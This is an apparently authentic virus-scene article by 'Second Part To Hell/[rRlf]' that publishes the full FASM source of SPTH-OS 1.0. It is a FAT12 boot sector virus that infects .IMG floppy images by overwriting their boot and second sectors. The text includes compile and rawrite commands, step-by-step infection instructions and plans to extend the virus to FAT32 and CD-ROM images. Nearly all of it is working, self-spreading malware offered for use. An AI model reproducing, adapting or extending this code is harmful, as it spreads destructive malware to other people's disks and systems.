SPTH-OS 1.0 by Second Part To Hell/[rRlf] www.spth.de.vu spth@priest.com written from November 2004 - January 2005 in Austria This is, as you can imagine, my first version of my latest project: SPTH-OS 1.0 You may wonder why I'm writing an OS... Don't worry, this 'OS' spreads itself :) The Virus: SPTH-OS 1.0 is a bootsectorvirus, which works at FAT12 Disks. It spreads itself via infecting other FAT12 .IMG files in the Root_Directory at the Disk. FAT12 .IMG file: This is a 1/1 copie of a Disk (A:\) saved in a file. FAT12 is the only (well 99.999% of all Disks uses it) File System of a formated Disk. The virus is in contrast to most (all?) other 100% OS-independent. Most old bootsectorviruses hook any INT to stay resident in the memory. But my SPTH-OS don't use any INT/API/whatever by the OS, it just uses old, cool BIOS Interrupts. (That's also the reason for naming it 'OS'.) The Virus uses it's own FAT12 system driver to find/read/write files at the Disk. As you can see that this version is named '1.0', other versions will follow definitivly: To Do (listed in priority): 100%: - FAT32 system driver - .NRB infection (CD-ROM Bootsector infection) - .ISO infection (CD-ROM Bootsector infection) Maybe (listed in priority): - Infect more than just Root_Directory - NTFS system driver - EXT2 system driver You see what I'm going to do next time... How to compile: - - - - - del bootloader.bin del kernel.bin cls fasm bootloader.asm bootloader.bin fasm kernel.asm kernel.bin del disk-img.img copy bootloader.bin+kernel.bin disk-img.img rawrite -f disk-img.img -d A -n pause - - - - - How to infect other files: - - - - - 1.) Full-Format a Disk (important because of the Root_Entry) 2.) Use the compile code above to install the virus on the disk 3.) Copy some FAT12 .IMG files to the Disk 4.) Reboot and boot from the infected Disk <-- All FAT12 .IMG files will be infected too. Anybody could RaWrite them to a Disk and next Disk is infected. - - - - - ======================== [ bootloader.asm ] ======================== org 0x7c00 stfat: jmp start nop db 0x4D,0x53,0x44,0x4F,0x53,0x35,0x2E,0x30 db 0x00,0x02,0x01,0x01,0x00,0x02,0xE0,0x00 db 0x40,0x0B,0xF0,0x09,0x00,0x12,0x00,0x02 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x29,0x8C,0x22,0x2F,0x7C db 0x4E,0x4F,0x20,0x4E,0x41,0x4D,0x45,0x20 db 0x20,0x20,0x20,0x46,0x41,0x54,0x31,0x32 db 0x20,0x20,0x20 start: cli mov ax,0x9000 mov ss, ax mov sp, 0 sti mov [bootdrv], dl loada: push ds mov ax, 0 mov dl, [bootdrv] int 0x13 pop ds jc loada load1: mov ax, 0x1000 mov es, ax mov bx, 0 mov ah, 0x2 mov al, 0x1 mov cx, 2 mov dx, 0 int 0x13 jc load1 mov ax, 0x1000 mov es, ax mov ds, ax push ax mov ax, 0 push ax retf bootdrv db 0 ende: times (512-(ende-stfat)-2) db 0 dw 0xAA55 ======================== [ bootloader.asm ] ======================== ========================== [ kernel.asm ] ========================== start: ;;;;;;;;;;;;;;; Read Root_Directory ;;;;;;;;;;;;;;; mov ax, 0x2000 ; ax=0x2000 mov es, ax ; Data will be read to ES:BX, ES=0x2000 mov ds, ax xor bx, bx ; BX=0x0 loadk: mov ah, 0x2 ; ah=2: Read Sectors mov al, 0x12 ; How many Sectors (18) mov ch, 0 ; Cylinder 0 mov cl, 1 ; Start at sektor 1 xor dx, dx ; dx=0 inc dh ; Head 1 int 0x13 ; System call jc loadk ; If carry, again mov bx, 0x200 ; bx=Offset of 2nd Sector in memory ;;;;;;;;;;;;;;; REAL FILE SEARCH ;;;;;;;;;;;;;;; fat12read: mov ah, [bx] ; ah=First byte of Filename cmp ah, 0x0 ; Check if zero. If zero, it's the last entry je endfat12read ; If End, stopp reading cmp ah, 0xE5 ; Check if the byte is 0xE5. If so, it's a deleted file je fat12next ; If deleted file, get next entry mov al, [bx+2] ; al=3rd letter of name test al, al ; Check if zero jz fat12next ; If zero, get next entry ;;;;;;;;;;;;;;; IMG FILE SEARCH ;;;;;;;;;;;;;;; mov ax, word [bx+8] ; 9th and 10th Letter to ax cmp ax, 'IM' ; Check if it's 'IM' jne fat12next ; If not, no IMG file mov al, byte [bx+10] ; Move 10th letter to al cmp al, 'G' ; Check if 10th letter='G' jne fat12next ; If not, next file ;;;;;;;;;;;;;;; Size Check ( > 2 Sectors = 1024 bytes) and DIRECTORY ;;;;;;;;;;;;;;; mov ax, word [bx+30] ; Move second (high) word of filesize to ax test ax, ax ; Check if zero jnz fat12sizeok ; If not zero, file has at least 128 sectors mov al, byte [bx+29] ; Move second byte of low word of filesize to ax cmp al, 4 ; Compair with 4 jl fat12next ; If less than 4, file has not 2 sectors=too small for infection mov al, byte [bx+11] ; Move attribute byte to al and al, 0x10 ; ???1 ???? = Directory test al, al ; Check if zero jnz fat12next ; If not zero, it's a directory and we ignore it ;;;;;;;;;;;;;;; Check FAT12 / Modiefy 1st Sector ;;;;;;;;;;;;;;; fat12sizeok: mov ax, word [bx+25] ; normally: 'mov ax, word [bx+26]' but that stupid shit did... xchg al, ah ; ...not work, I dont know why and I dont want to know why. I spent... mov ah, byte [bx+27] ; ...hours of testing, but no result. Let's never ever talk again about that lines, ok? add ax, 32 ; Now we have the real 1st data-sector of the file at the disk xor cx, cx ; ch will be the number of the Cylinder ; cl will be the number of the Sector xor dx, dx ; dh will be the number of the Head call CyHeSe ; Get the Cylinder, Head and Sector push bx ; Save bx at stack mov bx, 0x3000 ; ax=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx mov bx, 0 ; BX=0x0 mov ah, 0x2 ; AH=2: Read Sector mov al, 0x1 ; Wir read 1 Sector mov dl, 0 int 0x13 ; Interrupt 13 mov ax, word [bx+54] ; For FAT12 it should be 'FA' cmp ax, 'FA' ; Check if 'FA' jne fat12next ; If not, get next file mov ax, word [bx+57] ; For FAT12 it should be '12' cmp ax, '12' ; Check if '12' jne fat12next ; If not, get next file xor di, di ; di=0 mov ax, 0xEB3C ; ax=2 bytes of jmp over fat12 stosw ; Store AX at address ES:DI mov al, 0x90 ; al = NOP stosb ; Store AL at address ES:DI mov ax, 0x1000 ; AX=0x2000 mov ds, ax ; DS=0x2000 mov cx, 63 ; Length of 1st sector data mov si, data1stsector ; Where the data is mov di, 0x3E ; The FAT12 at 1st sector in IMG file rep movsb ; Move CX bytes from DS:SI to ES:DI ; Move 63 bytes from 0x1000:data1stsector to 0x3000:0x3E pop bx ; Get bx again push bx ; Save it again mov ax, 0x2000 ; ax=0x2000 mov es, ax ; Data will be read to ES:BX, ES=0x2000 mov ds, ax mov ax, word [bx+25] ; normally: 'mov ax, word [bx+26]' but that stupid shit did... xchg al, ah ; ...not work, I dont know why and I dont want to know why. I spent... mov ah, byte [bx+27] ; ...hours of testing, but no result. Let's never ever talk again about that lines, ok? add ax, 32 ; Now we have the real 1st data-sector of the file at the disk xor cx, cx ; ch will be the number of the Cylinder ; cl will be the number of the Sector xor dx, dx ; dh will be the number of the Head call CyHeSe ; Get the Cylinder, Head and Sector mov ax, 0x3000 ; ax=0x3000 mov es, ax ; Data will be read to ES:BX, ES=0x3000 mov ds, ax xor bx, bx ; BX=0 mov ah, 0x3 ; AH=3: Write Sector mov al, 0x1 ; Wir read 1 Sector mov dl, 0 int 0x13 ; Interrupt 13 mov bx, 0x2000 ; ax=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx pop bx ; Restore bx jmp fat12ow2sec ; Jmp over data ;;;;;;;;;;;;;;; 1st Sector Data ;;;;;;;;;;;;;;; ; jmpoverfat12 db 0xEB,0x3C,0x90 ; Jmp over FAT12 at 0x0 in Sector 1 data1stsector db 0xFA,0xB8,0x00,0x90,0x8E,0xD0,0xBC,0x00,0x00,0xFB ; This is the data after db 0x88,0x16,0x7C,0x7C,0x1E,0xB8,0x00,0x00,0x8A,0x16 ; the FAT12. Starts at db 0x7C,0x7C,0xCD,0x13,0x1F,0x72,0xF3,0xB8,0x00,0x10 ; offset 0x3E (62) and db 0x8E,0xC0,0xBB,0x00,0x00,0xB4,0x02,0xB0,0x01,0xB9 ; has 63 byte. db 0x02,0x00,0xBA,0x00,0x00,0xCD,0x13,0x72,0xEA,0xB8 db 0x00,0x10,0x8E,0xC0,0x8E,0xD8,0x50,0xB8,0x00,0x00 db 0x50,0xCB,0x00 ;;;;;;;;;;;;;;; Overwrite 2nd Sector ;;;;;;;;;;;;;;; fat12ow2sec: mov ax, word [bx+25] ; normally: 'mov ax, word [bx+26]' but that stupid shit did... xchg al, ah ; ...not work, I dont know why and I dont want to know why. I spent mov ah, byte [bx+27] ; hours of testing, but no result. Let's never ever talk again about that lines, ok? add ax, 32+1 ; Now we have the real 2nd data-sector of the file at the disk xor cx, cx ; ch will be the number of the Cylinder ; cl will be the number of the Sector xor dx, dx ; dh will be the number of the Head call CyHeSe ; Get the Cylinder, Head and Sector push bx ; Save bx at stack, because it will be changed mov bx, 0x1000 ; bx=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx mov bx, 0 ; BX=0x0 mov ah, 0x3 ; AH=3: Write sector(s) mov al, 0x1 ; We write 1 sector mov dl, 0 int 0x13 ; Interrupt 13 mov bx, 0x2000 ; bx=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx pop bx ; Restore bx ;;;;;;;;;;;;;;; Get Next Entry ;;;;;;;;;;;;;;; fat12next: mov cx, 0x2000 ; cx=0x2000 mov es, cx ; Data will be read to ES:BX, ES=0x2000 mov ds, cx add bx, 0x20 ; Next entry jmp fat12read endfat12read: mov ax, 0x1000 ; Restore ES and DS, because now we work again at 0x1000 in memory mov es, ax mov ds, ax mov cx, 0xFFFF ; cx=0xFFFF - Stringlength (not real - stops at 0x0) mov si, msg ; si=Offset of String call putstr ; Print String to Screen mov cx, 0xFFFF ; Again... mov si, m_boot ; Again... call putstr ; Again call getkey ; Call GetKey function jmp reboot ; Now let's reboot! msg db 'Thank you for using SPTH-OS 1.0',0 ; String 1 m_boot db 'Press any key...',0 ; String 2 putstr: ; Print String to Screen lodsb ; [si]->al or al, al ; Check if al=0x0 (=end) jz putstrd ; If end of string, let's stop this loop mov ah, 0xE ; ah=0xE: Print Letter to Screen mov bx, 0x7 int 0x10 ; call loop putstr ; Next Letter putstrd: mov al, 13 ; Write ASCII 13 mov ah, 0xE mov bx, 0x7 int 0x10 mov al, 10 ; Write ASCII 10 (13,10=... you know!) mov ah, 0xE mov bx, 0x7 int 0x10 retn BefCyHeSe: ; Cylinder Increasing sub ax, 36 ; al-=36 inc ch ; Cylinder++ CyHeSe: cmp ax, 36 ; 36 Sectors = 1 Cylinder jge BefCyHeSe ; If greater or equal, jmp to BefCyHeSe cmp ax, 18 ; 18 Sectors = Head1 jl SecCheck ; If less, Head=0 mov dh, 1 ; Head++ sub ax, 18 ; Sectors-=18 SecCheck: mov cl, al ; cl=Rest Sector Numbers ret change_memory: pop ax mov es, ax mov ds, ax ret getkey: mov ah, 0 ; ah=0: Get Key BIOS Function int 0x16 ; Call ret reboot: db 0xEA ; Hexdump for reboot: jmp 00FF:FF00 dw 0x0 dw 0xFFFF ========================== [ kernel.asm ] ==========================